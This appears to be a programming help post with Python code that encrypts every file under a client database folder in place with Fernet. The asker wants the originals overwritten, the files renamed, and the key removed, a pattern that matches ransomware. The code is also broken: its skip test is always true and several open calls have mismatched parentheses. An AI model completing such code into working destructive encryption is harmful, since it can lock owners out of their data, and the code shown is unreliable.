key = Fernet.generate_key() with open('thekey.key','wb') as thekey: thekey.write(key) for root, dirs, files in os.walk("c:/sqlserver/database/clients/"): for file in files: if file == 'driverget.py' or 'thekey.key': continue print(os.path.join(root, file)) try: with open(os.path.join(root,file)),"rb") as thefile: contents = thefile.read() contents_encrypted = Fernet(key).encrypt(contents) with open(os.path.join(root,file)),"wb") as thefile: thefile.write(contents_encrypted) except: continue
Filename = hello.txt---->change it to------> hello_encrypted.txt
basicaly what I need to do is filename + _encrypted + the original extention(which is I don't actually know it might be also be a csv file xlsx file or something else. Also I want to take a away the key and overwrite the original file. Also I dont want to encrypt an encrypted data because that would corrupt the data.